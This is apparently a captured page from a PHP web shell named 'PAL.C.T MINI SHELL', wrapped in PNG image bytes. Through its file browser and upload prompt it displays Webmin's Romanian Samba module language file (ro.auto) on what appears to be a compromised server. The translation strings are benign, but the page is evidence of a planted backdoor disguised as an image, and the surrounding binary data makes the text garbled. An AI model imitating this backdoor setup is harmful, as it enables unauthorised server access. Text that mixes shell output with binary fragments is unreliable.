php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/ro.auto

index_title=Partajarea fișierelor Samba Windows
index_sharelist=listă de partajare
index_userlist=lista de utilizatori
index_fileshare=partajare de fișiere
index_printershare=distribuire imprimantă
index_shareconf=configurare partajare
index_version=Versiunea Samba $1 
index_samba=Samba

index_sharename=Nume de partajare
index_path=cale
index_security=Securitate
index_homedir=Toate directorii de acasă
index_allprinter=Toate tipografiile
index_printer=Imprimanta
index_defaultprn=Imprimantă implicită
index_printableto=Tipărire la
index_prneveryone=Tipărire pentru toată lumea
index_prnalluser=Tipărire pentru toți utilizatorii cunoscuți
index_rwpublic=Citiți/scrieți tuturor
index_readonly=Citește doar la $1 <br> Citește/scrie la toți ceilalți utilizatori cunoscuți
index_rwalluser=Citiți/scrieți tuturor utilizatorilor cunoscuți
index_roeveryone=Citiți numai tuturor
index_readwrite=Citiți/scrieți la $1 <br> Citiți numai tuturor celorlalți utilizatori cunoscuți
index_roalluser=Citiți numai pentru toți utilizatorii cunoscuți
index_noshares=Nu sunt definite acțiuni Samba
index_createfileshare=Creați o nouă partajare de fișiere.
index_createprnshare=Creați o nouă distribuție de imprimantă.
index_createcopy=Creați o nouă copie.
index_view=Vizualizați toate conexiunile.
index_start=Porniți serverele Samba
index_start_wb=Porniți serverele Winbind
index_startmsg=Se pare că serverele Samba nu rulează pe sistemul dvs. Aceasta înseamnă că acțiunile enumerate mai sus nu vor fi accesibile altor computere.
index_startmsg_wb=Se pare că serverele Winbind nu funcționează pe sistemul tău.
index_restart=Reporniți serverele Samba
index_restart_wb=Reporniți serverele Winbind
index_restartmsg=Faceți clic pe acest buton pentru a reporni serverele Samba care rulează pe sistemul dvs. Acest lucru va forța configurația curentă să fie aplicată.
index_restartmsg_wb=Faceți clic pe acest buton pentru a reporni serverele Winbind care rulează pe sistemul dvs.
index_restartmsg2=Acest lucru va deconecta, de asemenea, orice conexiune la server, așa că dacă nu doriți ca configurația curentă să fie aplicată imediat, trebuie doar să așteptați 1 minut până când Samba reîncarcă automat configurația.
index_stop=Opriți serverele Samba
index_stop_wb=Opriți serverele Winbind
index_stopmsg=Faceți clic pe acest buton pentru a opri serverele Samba care rulează pe sistemul dvs. Toți utilizatorii conectați în prezent vor fi deconectați cu forța.
index_stopmsg_wb=Faceți clic pe acest buton pentru a opri serverele Winbind care rulează pe sistemul dvs.
index_einclude=Avertisment - fișierul dvs. de configurare Samba $1 conține directiva $2 sau $3. Acest lucru poate determina Webmin să modifice fișierul incorect.
index_delete=Șterge Acțiuni selectate

config_mins=mins
config_secs=secunde
config_bytes=bytes
config_never=Nu
config_all=Toate
config_neither=Nici

global_title=Configurare globală
global_unixnetwork=Unix Networking
global_winnetwork=Windows Networking
global_auth=Autentificare
global_printing=Imprimarea Windows la Unix
global_misc=Opțiuni diverse
global_filedefault=Valori implicite pentru partajarea fișierelor
global_prndefault=Implicit Implicit Partajare imprimantă
global_password=Parole criptate
global_users=Utilizatori Samba
global_group=Samba Groups
global_bind=Opțiuni Winbind

error_nosamba=Serverul Samba executabil <tt>$1</tt> nu a fost găsit. Ori Samba nu este instalat pe sistemul dvs. sau <a href="$2">configurația modulului</a> este incorectă.
error_version=Webmin nu a reușit să obțină versiunea serverului Samba <tt>$1</tt> executabil. Verificați <a href="$2">configurația modulului</a> pentru a vă asigura că aceasta este calea corectă.
error_config=Fișierul de configurare $1 nu a fost găsit. Cel mai probabil Samba nu este instalat pe sistemul dvs. sau <a href="$2">configurația modulului</a> este incorectă.
error_include=Webmin nu poate gestiona fișierele de configurare Samba care folosesc directivele <tt>config</tt> sau <tt>include</tt>.
error_delshare=Nu a reușit ștergerea partajării
error_delcopy=Copii „$1” din această parte
error_savename=Nu a putut salva denumirea fișierului

convert_title=Conversia utilizatorilor
convert_msg=Acest formular vă permite să sincronizați lista de utilizatori Unix și Samba. Când Samba folosește <a href=$1>parolele criptate</a>, se folosește o listă separată de utilizatori și parole în loc de lista de utilizatori a sistemului.
convert_noconv=Nu convertiți și nu eliminați acești utilizatori:
convert_ncdesc=Lista de utilizatori care nu se vor converti poate conține nume de utilizator, UID-uri, nume de grup prefixate cu un <tt>@</tt> sau intervale UID precum <i>500-1000</i> sau <i>500 -</i> >.
convert_update=Actualizați utilizatorii Samba existenți din detaliile lor Unix
convert_add=Adăugați noi utilizatori Samba din lista de utilizatori Unix
convert_delete=Ștergeți utilizatorii Samba care nu există sub Unix
convert_newuser=Pentru utilizatorii nou creați, setați parola pe:
convert_nopasswd=Fără parolă
convert_lock=Cont blocat
convert_passwd=Utilizați această parolă
convert_convert=Conversia utilizatorilor
convert_cannot=Utilizatorii Unix nu pot fi convertiți în utilizatori Samba
convert_who=Utilizatorii Unix pentru a converti
convert_who0=Numai utilizatorii enumerați sau intervalele UID
convert_who1=Toate cu excepția utilizatorilor enumerați și a intervalelor UID

misc_title=Opțiuni diverse
misc_debug=Nivelul de depanare
misc_cachecall=Cache <tt>getwd ()</tt> apeluri?
misc_lockdir=Blochează directorul
misc_log=Fișier jurnal
misc_maxlog=Dimensiunea maximă a jurnalului
misc_rawread=Permiteți lecturi brute?
misc_rawwrite=Permiteți scrieri brute?
misc_overlapread=Suprapunerea dimensiunii de citire
misc_chroot=<tt>directorul chroot ()</tt>
misc_smbrun=Calea către <tt>smbrun</tt>
misc_clienttime=Decalare de timp a clientului
misc_readprediction=Citiți predicția?

net_title=Opțiuni de rețea Unix
net_idle=Timp inactiv înainte de deconectare
net_trustlist=Fișier de gazde/utilizatori de încredere
net_netinterface=Interfețe de rețea
net_auto=Automat
net_uselist=Lista de utilizare. ..
net_interface=Interfață
net_netmask=Mască de rețea
net_keepalive=Pachete de păstrare
net_notsend=Nu trimiteți nimic
net_every=Trimiteți fiecare
net_maxpacket=Dimensiunea maximă a pachetului
net_listen=Ascultă pe adresă
net_ip=adresa IP
net_socket=Opțiuni de priză

passwd_title=Opțiuni parolă
passwd_encrypt=Folosiți parole criptate?
passwd_allownull=Permiteți parole nule?
passwd_program=Program de parolă
passwd_case=Diferență de caz de parolă
passwd_sync=Schimbați parola Unix?
passwd_chat=Schimbați chat-ul cu parolă
passwd_below=Enumerate mai jos:
passwd_waitfor=Asteapta pentru
passwd_send=Trimite
passwd_map=Maparea numelui de utilizator
passwd_unixuser=Utilizatori Unix
passwd_winuser=Utilizatori Windows

print_title=Opțiuni de imprimare
print_style=Stil de imprimare Unix
print_show=Afișați toate imprimantele?
print_printcap=Fișierul Printcap
print_cachetime=Timpul de cache al stării imprimantei

smb_title=Opțiuni de rețea Windows
smb_workgroup=Workgroup
smb_wins=Modul WINS
smb_winsserver=Fii server WINS
smb_useserver=Utilizați serverul
smb_description=Descrierea serverului
smb_descriptionnone=Nici unul
smb_name=Numele serverului
smb_aliase=Aliasuri de server
smb_default=Serviciu implicit
smb_show=Afișați întotdeauna serviciile
smb_disksize=Max a raportat dimensiunea discului
smb_unlimited=Nelimitat
smb_winpopup=Comanda Winpopup
smb_priority=Prioritatea browserului principal
smb_protocol=Cel mai înalt protocol
smb_master=Browserul principal?
smb_master_auto=Automat
smb_security=Securitate
smb_sharelevel=Nivel de partajare
smb_userlevel=Nivel de utilizator
smb_passwdserver=Serverul cu parolă
smb_server=Serverul cu parolă
smb_domain=Domeniu
smb_ads=Director activ
smb_announce=Anunțare la distanță către
smb_nowhere=Nicăieri
smb_fromlist=Din listă. ..
smb_ip=Adresa IP
smb_asworkgroup=<b>Ca grup de lucru</b> (opțional)

create_title=Creați copiere
create_msg=Un share share va moșteni toate valorile sale implicite din partea pe care o alegeți. Dacă partajarea sursă este modificată, la fel se va copia.
create_from=Distribuie pentru a copia de la:
create_name=Nume partajare nouă:

smbuser_title=Utilizatori Samba
smbuser_list=Lista utilizatorilor Samba
smbuser_nouser=Nu au fost definiți utilizatori Samba.
smbuser_cannot=Utilizatorii Samba nu pot fi enumerați

euser_title=Editează Samba User
euser_name=Nume de utilizator
euser_uid=Unix UID
euser_passwd=Parola
euser_noaccess=Fără acces
euser_nopw=Fără parolă
euser_currpw=Parola actuală
euser_newpw=Parolă Nouă
euser_realname=Nume real
euser_homedir=Director de acasă
euser_shell=Coajă
euser_option=Opțiuni utilizator
euser_normal=Utilizator normal
euser_noexpire=Parola nu expira niciodata
euser_locked=Contul este blocat
euser_nopwrequired=Nu este necesară parola
euser_disable=Cont dezactivat
euser_trust=Cont de încredere pentru stația de lucru

fmisc_title=Defaulturi diverse fișiere
fmisc_for=Pentru share <tt>$1</tt>
fmisc_lockfile=Blocarea fișierului?
fmisc_maxconn=Conexiuni max
fmisc_fake=Focalizări false?
fmisc_oplocks=Activați oplocks-uri?
fmisc_level2=Cautări numai în citire?
fmisc_sharemode=Folosiți modurile de partajare?
fmisc_strict=Blocare strictă?
fmisc_sync=Sincronizează după ce scrie?
fmisc_volume=Numele volumului
fmisc_sameas=La fel ca și cota
fmisc_unixdos=Harta de fișiere Unix-DOS
fmisc_conncmd=Comanda de a rula pe conectare
fmisc_disconncmd=Comanda de a rula pe deconectare
fmisc_rootconn=Comanda de a rula pe conecta <i>ca root</i>
fmisc_rootdisconn=Comanda de a rula pe deconecta <i>ca root</i>

fname_title1=Valorile implicite pentru denumirea fișierului
fname_title2=Editează Nume de fișiere
fname_option=Opțiuni Naming File
fname_manglecase=Cazul Mangle?
fname_case=Caz sensibil?
fname_defaultcase=Caz implicit?
fname_lower=Inferior
fname_upper=Superior
fname_preserve=Conservați cazul?
fname_shortpreserve=Cazu de conservare scurtă?
fname_hide=Ascundeți fișierele dot?
fname_archive=Salvați steagul arhivei DOS?
fname_hidden=Salvați DOS steagul ascuns?
fname_system=Salvați steagul sistemului DOS?

fperm_title1=Valori implicite pentru fișiere
fperm_title2=Editați Permisiunile fișierelor
fperm_option=Opțiuni de permis de fișiere
fperm_filemode=Mod nou fișier Unix
fperm_dirmode=Mod nou director Unix
fperm_notlist=Directoare care nu sunt listate
fperm_forceuser=Forțează utilizatorul Unix
fperm_forcegrp=Grupul Force Unix
fperm_link=Permiteți simboluri în afara distribuției?
fperm_delro=Puteți șterge fișierele cu citire?
fperm_forcefile=Forțează modul fișier Unix
fperm_forcedir=Forțați modul director Unix

share_title1=Valori implicite pentru partajarea fișierelor
share_title2=Editează Partajarea fișierului
share_title3=Creați partajare fișier
share_info=Distribuie informații
share_copy=Această partajare este o copie a <i>$1</i>
share_name=Numele partajării
share_home=Partajare directoare de acasă
share_dir=Director de partajat
share_create=Creați automat director?
share_owner=Creați cu proprietarul
share_createperms=Creați cu permisiuni
share_group=Creați cu grup
share_available=Disponibil?
share_browseable=Răsfoibilă?
share_comment=Distribuie comentariu
share_view=Vizualizați conexiunile
share_option=Alte opțiuni de partajare
share_security=Securitate și control de acces
share_permission=Permisiuni de fișiere
share_naming=Nume de fișiere
share_misc=Opțiuni diverse
share_samedesc1=Notă - aceste setări afectează de asemenea valorile implicite pentru toate partajările de fișiere.
share_samedesc2=Notă - aceste setări afectează de asemenea valorile implicite pentru toate partajările imprimantei.

print_title1=Opțiuni imprimantă implicite
print_title2=Editați Opțiuni imprimantă
print_option=Opțiuni imprimantă
print_minspace=Spațiu liber minim
print_postscript=Forțați imprimarea postscript
print_command=Comanda de imprimare
print_queue=Afișează comanda coadă
print_delete=Ștergeți comanda de lucru
print_pause=Întrerupeți comanda de lucru
print_unresume=Necomanda comanda de lucru
print_driver=Driver de imprimantă

pshare_title1=Implicit Implicit Partajare imprimantă
pshare_title2=Editați Partajarea imprimantei
pshare_title3=Creare partajare imprimantă
pshare_info=Distribuie informații
pshare_name=Numele partajării
pshare_all=Toate imprimantele partajează
pshare_unixprn=Imprimanta Unix
pshare_spool=Repertoriu

sec_index1=Valori implicite de securitate
sec_index2=Editează securitate
sec_writable=Scriptibile?
sec_guest=Acces pentru oaspeți?
sec_guestonly=Numai oaspeti
sec_guestaccount=Utilizator invitat Unix
sec_limit=Limitați la lista posibilă?
sec_allowhost=Gazde care să permită
sec_onlyallow=Permiteți numai
sec_denyhost=Gazdele de negat
sec_onlydeny=Numai să negi
sec_revalidate=Revalidați utilizatorii?
sec_validuser=Utilizatori valizi
sec_validgroup=Grupuri valide
sec_invaliduser=Utilizatori nevalide
sec_invalidgroup=Grupuri nevalide
sec_possibleuser=Utilizatori posibili
sec_possiblegroup=Grupuri posibile
sec_rouser=Citeste doar utilizatorii
sec_rogroup=Citiți doar grupuri
sec_rwuser=Utilizatorii de citire/scriere
sec_rwgroup=Grupuri de citire/scriere

esync_title=Sincronizare utilizator
esync_msg=Webmin poate fi configurat astfel încât modificările aduse listei de utilizatori Unix să fie aplicate automat listei de utilizatori Samba. Acest lucru va funcționa numai atunci când modulul <b>Utilizatori și grupuri</b> Webmin este utilizat pentru a adăuga, șterge sau modifica utilizatori.
esync_add=Adăugați un utilizator Samba atunci când este adăugat un utilizator Unix
esync_chg=Modificați utilizatorul Samba atunci când un utilizator Unix este schimbat
esync_del=Ștergeți utilizatorul Samba atunci când un utilizator Unix este șters
esync_del_profile=Ștergerea profilului de roaming atunci când un utilizator Unix este șters
esync_chg_profile=Redenumirea profilului de roaming când un utilizator Unix este redenumit
esync_gid=Grupa SID sau RID pentru utilizatori noi
esync_apply=aplica
esync_cannot=Sincronizarea utilizatorului nu poate fi configurată
esync_egid=Lipsește grupul SID sau RID

mkpass_title=Conversia utilizatorilor
mkpass_convfail=Conversia utilizatorului nu a reușit
mkpass_msg=Conversia utilizatorilor Unix. ..
mkpass_skip=Omisă
mkpass_same=Deja la fel
mkpass_update=Actualizat
mkpass_added=Adăugat
mkpass_del=şters
mkpass_passfail=Setarea parolei nu a reușit
mkpass_user=Nume de utilizator
mkpass_action=Acțiunile întreprinse
mkpass_skipcount=$1 utilizatori au fost omisați pentru conversie.

savecopy_fail=Crearea copiei nu a reușit
savecopy_global=Numele „global” nu poate fi utilizat pentru o partajare
savecopy_exist=O parte numită „$1” există deja
savecopy_ename=Nu a fost introdus un nume de partajare

saveuser_fail=Nu a reușit salvarea utilizatorului
saveuser_uid=„$1” nu este un UID valid Unix
saveuser_colon=Numele real nu poate conține caracterul :
saveuser_home=Directorul de acasă „$1” nu există
saveuser_shell=$1 nu este un shell valid
saveuser_pass=Nu a reușit să schimbe parola folosind smbpasswd : $1 
saveuser_ews=Opțiunea „Cont de încredere pentru stația de lucru” nu poate fi activată pentru utilizatorii existenți

savefmisc_fail=Nu a reușit să salveze opțiuni diverse
savefmisc_number=„$1” nu este un număr valid de conexiuni

savefperm_fail=Nu a reușit să salvați permisiunile pentru fișiere
savefperm_mode=„$1” nu este un mod de fișier Unix valid

savefshare_fail=Nu a reușit salvarea partajării
savefshare_nopath=Nici o cale dată
savefshare_exist=O parte numită „$1” există deja
savefshare_mode=„$1” nu este un nume de partaj valid
savefshare_global=Numele „global” nu poate fi utilizat pentru o partajare
savefshare_owner=Lipsește sau este nevalid proprietarul pentru noul director
savefshare_group=Grup lipsit sau nevalid pentru un director nou
savefshare_perms=Permisele lipsă sau invalide pentru noul director
savefshare_emkdir=Crearea directorului nu a reușit : $1 

savemisc_fail=Nu a reușit să salvați opțiunile
savemisc_lockdir=Directorul care conține directorul de blocare nu există
savemisc_logdir=Directorul care conține fișierul jurnal nu există
savemisc_logsize=„$1” nu are o dimensiune de jurnal validă
savemisc_overlap=„$1” nu este o dimensiune de citire suprapusă valabilă
savemisc_chroot=Directorul chroot „$1” nu există
savemisc_smbrun=Programul smbrun „$1” nu există sau nu este executabil
savemisc_time=„$1” nu este o compensare de timp valabilă

savenet_fail=Nu a reușit să salvați opțiunile
savenet_timeout=„$1” nu este un interval de timp de deconectare valid
savenet_ip=„$1” nu este un octet IP valid
savenet_keep=„$1” nu este un interval de păstrare valid
savenet_maxxmit=„$1” nu are o dimensiune maximă valabilă a pachetului

savepass_fail=Nu a reușit să salvați opțiunile
savepass_nopass=Versiunea dvs. de Samba nu acceptă parolele criptate
savepass_passwd=Nu s-a dat niciun program de modificare a parolei
savepass_level=„$1” nu este o diferență de caz validă cu parola
savepass_chat=Secvența de chat de modificare a parolei este goală

savepopts_fail=Nu a reușit să salvați opțiunile imprimantei
savepopts_number=Spațiul liber minim trebuie să fie un număr

saveprint_fail=Nu a reușit să salvați opțiunile
saveprint_printcap=Fișierul printcap „$1” nu există
saveprint_cache=„$1” nu este o perioadă valabilă în memoria cache

savepshare_fail=Nu a reușit să salvați distribuirea imprimantei
savepshare_exist=O parte numită „$1” există deja
savepshare_name=„$1” nu este un nume de partaj valid
savepshare_global=Numele „global” nu poate fi utilizat pentru o partajare

savesec_fail=Economisirea securității

savesmb_fail=Nu a reușit să salvați opțiunile
savesmb_size=„$1” nu are o dimensiune de disc validă
savesmb_oslevel=„$1” nu este o prioritate validă a browserului principal
savesmb_server=Trebuie să introduceți un server de parolă

start_err=Eșecul la pornirea serverelor Samba
start_fail=$1 a eșuat
start_err_wb=Eroare la pornirea serverelor Winbind

restart_err=Nu a putut reporni serverele Samba
restart_err_wb=Eroare la repornirea serverelor Winbind

swats_fail=Nu a reușit salvarea numelui de utilizator
swats_user=Lipsește numele de utilizator SWAT

viewu_index=Utilizatori actuali
viewu_list=Utilizatori actuali de $1 
viewu_share=Acțiune
viewu_user=Utilizator
viewu_group=grup
viewu_from=Conectat de la
viewu_time=Conectat la
viewu_pid=ID proces
viewu_msg1=Faceți clic pe un cod de proces din lista de mai sus pentru a vă deconecta.
viewu_msg2=Nu există utilizatori conectați în prezent.
viewu_locks=Deschide fișiere
viewu_none=Nici unul
viewu_ecmd=Programul Samba status $1 nu pare să fie instalat pe sistemul tău. Poate că configurația modulului <a href='$2'></a> este incorectă.
viewu_kill=Deconectați utilizatorii selectați
viewu_enone=Nu ați selectat utilizatori
viewu_refresh=Reîmprospătare pagină.

log_apply=Reîncepe serverele Samba
log_apply_wb=Serverurile Winbind restartate
log_stop=Serverele Samba oprite
log_stop_wb=Serverurile Winbind oprite
log_start=Au început serverele Samba
log_start_wb=A pornit serverele Winbind
log_save_fshare=Partajare modificată de fișiere $1 
log_save_pshare=Ponderea modificată a imprimantei $1 
log_save_sec=Control modificat de securitate și acces pentru share $1 
log_save_fperm=Permisiuni modificate pentru fișiere pentru share $1 
log_save_fname=Denumirea fișierului modificat pentru share $1 
log_save_fmisc=Opțiuni diverse modificate pentru share $1 
log_save_popts=Opțiuni de imprimantă modificate pentru partajarea $1 
log_default_fshare=Modificări implicite pentru partajarea fișierului
log_default_pshare=Modificările implicite de partajare a imprimantei
log_kill=Proces deconectat $1 
log_skill=Proces deconectat $1 de la share $2 
log_kills=Procesele $1 deconectate
log_skills=Procesele $1 deconectate de la share $2 
log_create_fshare=Partajarea fișierului creat $1 
log_create_pshare=Partajarea imprimantei creată $1 
log_delete_fshare=Partajarea fișierului șters $1 
log_delete_pshare=Partajarea imprimantei șterse $1 
log_delete_shares=$1 acțiuni șterse
log_net=Opțiuni de rețea Unix modificate
log_smb=Opțiuni modificate de rețea Windows
log_pass=Opțiuni modificate de autentificare
log_print=Opțiuni de imprimare Windows la Unix
log_misc=Opțiuni diverse modificate
log_bind=Modificați opțiunile Winbind
log_sync=Sincronizarea utilizatorului Unix configurat
log_epass=Conversia utilizatorilor Unix în utilizatorii Samba
log_epass_l=Conversia utilizatorilor Unix în utilizatori Samba ($1 creat, $2 modificat, $3 șters)
log_copy=Acțiune copiată $2 la $1 
log_save_euser=Utilizator Samba modificat $1 
log_delete_euser=Utilizatorul Samba a fost șters $1 
log_create_group=Grupul Samba creat $1 
log_modify_group=Grupul Samba modificat $1 
log_delete_group=Ștergeți grupul Samba $1 
log_gsync=Sincronizarea grupului Unix configurat
log_manual=Fișierul de configurare editat manual $1 

swat_title=Autentificare SWAT
swat_list=Autentificare SWAT
swat_msg1=Numele dvs. de utilizator și parola SWAT curente sunt incorecte. Utilizați formularul de mai jos pentru a vă autentifica din nou.
swat_msg2=Un nume de utilizator și o parolă sunt necesare pentru a vă conecta la SWAT. În mod normal, acesta poate fi orice utilizator din sistemul dvs.
swat_msg3=Nu puteți rula SWAT prin Webmin, deoarece configurația Samba are setul de opțiuni <tt>$1 :...</tt> (permite gazdele).
swat_msg4=Cu toate acestea, este posibil să vă conectați direct la SWAT la $1 
swat_username=Nume de utilizator
swat_password=Parola
swat_login=Autentificare
swat_clear=clar
swat_logout=Deconectare SWAT

eacl_aviol=Încălcarea controlului de acces
eacl_np=Nu aveți permisiuni pentru
eacl_papply=reporniți acest serviciu
eacl_pcn=editați opțiunile de rețea Unix
eacl_pcs=editați opțiunile de rețea smb
eacl_pcp=editați opțiunile de parolă
eacl_pcprint=editați opțiunile de imprimare
eacl_pcm=editați opțiuni diverse
eacl_pcswat=folosiți SWAT
eacl_pcopy=copie acțiuni
eacl_pconn_all=vizualizați toate conexiunile
eacl_pconn=vizualizați conexiunile pentru această distribuire
eacl_pgkill=ucide conexiunile
eacl_pkill=ucide această legătură
eacl_pus=share share
eacl_pcrs=crea share
eacl_pds=ștergeți share
eacl_pusec=actualizați opțiunile de securitate și control de acces pentru această distribuire
eacl_pufperm=actualizați opțiunile pentru permisiunea fișierului pentru această distribuire
eacl_pufname=actualizați opțiunile de denumire a fișierelor pentru această distribuire
eacl_pufmisc=actualizare misc. opțiuni pentru această partajare
eacl_pupopt=actualizați opțiunile imprimantei pentru această distribuire
eacl_pmpass=inițializează baza de date a utilizatorilor Samba
eacl_pmsync=menține sincronizarea utilizatorilor Unix-Samba
eacl_pmusers=mențineți utilizatorii Samba
eacl_pvusers=accesați utilizatorii Samba
eacl_pvfmisc=acces necorespunzător. opțiuni pentru această partajare
eacl_pvfname=accesați opțiunile de denumire a fișierelor pentru această distribuire
eacl_pvperm=accesați opțiunile de permisiune pentru fișier pentru această partajare
eacl_pvsec=acces la securitatea accesului și la opțiunile de control de acces pentru acest share
eacl_pvpopt=accesați opțiunile imprimantei pentru această distribuire
eacl_pafs=accesați acest file share
eacl_paps=accesați acest distribuitor de imprimantă
eacl_pcps=creați share share
eacl_pcfs=crea fișier partajare

acl_apply=Poate aplica modificări și opri Samba?
acl_view_all_con=Pot vedea toate conexiunile?
acl_kill_con=Poate elimina conexiunile?
acl_conf_net=Poate configura opțiunile de rețea Unix?
acl_conf_smb=Poate configura opțiunile de rețea Windows?
acl_conf_pass=Poate configura opțiunile de autentificare?
acl_conf_print=Poate configura opțiunile de imprimante?
acl_conf_misc=Poate configura diverse. Opțiuni?
acl_swat=Poate folosi SWAT?
acl_manual=Poate edita manual fișierul de configurare?
acl_enc_passwd_opts=Opțiuni de parolă criptate
acl_view_users=Poate vizualiza baza de date a utilizatorilor Samba?
acl_maint_users=Pot edita utilizatorii Samba?
acl_maint_makepass=Pot converti utilizatorii Unix în utilizatori Samba?
acl_maint_sync=Se poate menține sincronizarea automată a utilizatorilor Unix către Samba?
acl_hide=Ascundeți obiectele inaccesibile?
acl_c=crea
acl_r=citit
acl_w=scrie
acl_afs=Accesați partajarea fișierelor
acl_aps=Accesați acțiunile de tipărire
acl_copy=Poate copia acțiuni?
acl_per_fs_acls=Activați acls-per-file-share?
acl_per_ps_acls=Activați acls-urile per-print-share?
acl_per_share_acls=Per-share ACL-uri. ..
acl_ernow=Dacă doriți să activați accesul la scriere în ACL-uri globale pentru un anumit tip de obiect, trebuie să activați și accesul de citire pentru acest tip de obiect.
acl_sname=Numele partajării
acl_saccess=Share share
acl_sconn=Conexiuni
acl_sopthdr=Opțiuni de partajare
acl_ssec=Securitate
acl_sperm=permisiuni
acl_snaming=denumirea fișierului
acl_smisc=diverse
acl_sprn=sau imprimantă
acl_na=n/A
acl_r1=numai citit
acl_rw=Citeste, scrie
acl_view=vedere
acl_kill=ucide
acl_edit=Editați | ×
acl_group_opts=Opțiuni de grup Samba
acl_maint_groups=Poate vizualiza, edita și adăuga grupuri?
acl_maint_gsync=Se poate menține sincronizarea automată a grupurilor Unix către Samba?
acl_winbind=Se poate lega la domenii?
acl_bind=Poate accesa opțiunile winbind?

groups_title=Samba Groups
groups_name=Numele Grupului
groups_unix=Grupul Unix
groups_nounix=Nici unul
groups_type=Tip
groups_type_d=Grup de domenii
groups_type_b=NT încorporat
groups_type_l=Grup local
groups_type_u=Necunoscut
groups_sid=SID
groups_none=Nu au fost definite încă grupuri Samba.
groups_return=lista grupurilor
groups_add=Adăugați un nou grup Samba.
groups_ecannot=Nu aveți voie să vizualizați sau să editați grupuri Samba
groups_cannot=Grupurile Samba nu pot fi listate

gedit_title2=Editează Samba Group
gedit_title1=Creați grupul Samba
gedit_header=Detalii despre grupul Samba
gedit_name=Numele Grupului
gedit_type=Tipul grupului
gedit_sid=Grup SID
gedit_desc=Descriere
gedit_priv=privilegii
gedit_unix=Grupul Unix
gedit_unixgr=Grup ..
gedit_none=Nici unul
gedit_set=Enumerate ..

gsave_err=Nu a reușit să salveze grupul
gsave_eunix=Numele sau GID-ul grupului Unix lipsesc sau nevalide
gsave_ename=Lipsește numele grupului
gsave_epriv=Lipsesc privilegiile grupului
gsave_elocal=Privilegiile pot fi setate numai pentru grupuri locale

gsync_title=Sincronizare de grup
gsync_msg=Webmin poate fi configurat astfel încât modificările aduse listei de grup Unix să fie aplicate automat listei de grup Samba. Acest lucru va funcționa numai atunci când modulul <b>Utilizatori și grupuri</b> Webmin este utilizat pentru a adăuga, șterge sau schimba grupuri.
gsync_add=Adăugați un grup Samba atunci când este adăugat un grup Unix
gsync_chg=Schimbați grupul Samba atunci când este schimbat un grup Unix
gsync_del=Ștergeți grupul Samba atunci când un grup Unix este șters
gsync_apply=aplica
gsync_type=Tip de grupuri noi
gsync_priv=Privilegiile pentru grupuri noi (dacă sunt locale)
gsync_ecannot=Nu aveți voie să configurați sincronizarea de grup
gsync_cannot=Sincronizarea grupului nu poate fi configurată

check_user1=$1 : Parolele criptate nu sunt activate pe pagina <a href='$2'>Autentificare</a>.
check_user2=$1 : Nici fișierul cu parolă Samba, nici calea către pdbedit nu sunt setate pe pagina <a href='$2'>Configurare modul</a>.
check_group1=$1 : Grupurile sunt acceptate doar în versiunea 3 Samba.
check_group2=$1 : Nici calea către comenzile smbgroupedit sau net nu este setată pe pagina <a href='$2'>Configurare modul</a>.

winbind_title=Legați-vă la domeniu
winbind_ecannot=Nu aveți voie să vă legați de domenii
winbind_msg=Acest formular poate fi folosit pentru a lega serverul dvs. Samba de un domeniu Windows, gestionat de obicei de un server diferit.
winbind_header=Legați-vă la un domeniu Windows
winbind_user=Legați ca utilizator
winbind_dom=Legați-vă la domeniu
winbind_save=Legați acum
winbind_default=Domeniu din configurația Samba
winbind_pass=Parola utilizatorului
winbind_err=Nu a reușit să se lege la domeniu
winbind_euser=Numele de utilizator lipsește
winbind_edom=Numele de domeniu care lipsește
winbind_cmd=Legare la domeniu cu comanda $1 ..
winbind_failed=.. a eșuat! Vedeți ieșirea de mai sus pentru motivul pentru care.
winbind_ok=.. complet.

bind_title=Opțiuni Winbind
bind_ecannot=Nu aveți voie să editați opțiunile winbind
bind_header=Opțiuni de legare a domeniului Windows
bind_local=Activați Winbind pentru conturile locale?
bind_trust=Ai încredere în utilizatorii serverului de domeniu?
bind_users=Nu permiteți listarea utilizatorilor?
bind_groups=Nu permiteți listarea grupurilor?
bind_defaultdomain=Utilizați întotdeauna domeniul implicit?
bind_realm=Tărâmul Kerberos pe serverul de domeniu
bind_cache=Secunde pentru a cache detaliile utilizatorului pentru
bind_uid=Gama de UID-uri pentru utilizatorii Windows
bind_gid=Gama de GID-uri pentru grupurile Windows
bind_backend=Backend LDAP pentru maparea contului
bind_err=Nu a reușit să salvați opțiunile Winbind
bind_erealm=Tărâmul Kerberos nevalid
bind_ecache=Timpul cache lipsește sau este nevalid
bind_euid=Gama UID nevalidă - trebuie să fie ca 20000-30000
bind_egid=Interval GID nevalid - trebuie să fie ca 20000-30000

manual_title=Editează fișierul de configurare
manual_desc=Editarea fișierului de configurare Samba $1 ..
manual_err=Nu a reușit să salvați fișierul de configurare
manual_edata=Nu a intrat nimic!

delete_err=Nu a reușit să ștergeți acțiunile
delete_enone=Nimic selectat
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`